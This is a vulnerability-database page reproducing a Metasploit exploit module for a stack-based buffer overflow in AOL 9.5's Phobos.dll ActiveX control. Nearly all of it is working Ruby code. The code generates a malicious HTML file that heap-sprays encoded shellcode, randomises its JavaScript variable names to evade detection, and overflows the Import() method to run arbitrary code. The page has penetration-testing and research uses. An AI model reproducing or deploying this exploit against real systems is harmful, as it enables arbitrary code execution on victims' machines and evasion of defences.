AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

2010-01-28T18:58:14
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/AOL_PHOBOS_BOF
Type metasploit
Reporter Rapid7
Modified 2020-01-15T01:47:27

Description

This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5. By setting an overly long value to 'Import()', an attacker can overrun a buffer and execute arbitrary code. NOTE: This ActiveX control is NOT marked safe for scripting or initialization.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# aol_phobos_bof.rb
#
# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
#
# Tested successfully on the following platforms:
#  - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
#
# Phobos.dll version tested:
# File Version: 9.5.0.1
# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
# RegKey Safe for Script: False
# RegKey Safe for Init: False
# Implements IObjectSafety: False
# KillBitSet: False
#
# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
# exploitation is possible only from Local Machine Zone, which means the victim must run the
# generated exploit file locally.
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
        By setting an overly long value to 'Import()', an attacker can overrun a buffer
        and execute arbitrary code.

        NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Trancer <mtrancer[at]gmail.com>'
        ],
      'References'     =>
        [
          [ 'OSVDB', '61964'],
          [ 'EDB', '11204' ],
          [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
        ],
      'DisclosureDate' => 'Jan 20 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),
        ])
  end

  def exploit

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = Rex::Text.uri_encode([target.ret].pack('L'))
    blocksize = 0x40000
    fillto    = 500
    offset 	  = target['Offset']

    # Randomize the javascript variable names
    phobos       = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    j_bla        = rand_text_alpha(rand(8) + 4)

    html = %Q|<html>
<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
</script>
</html>|

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(html)
  end
end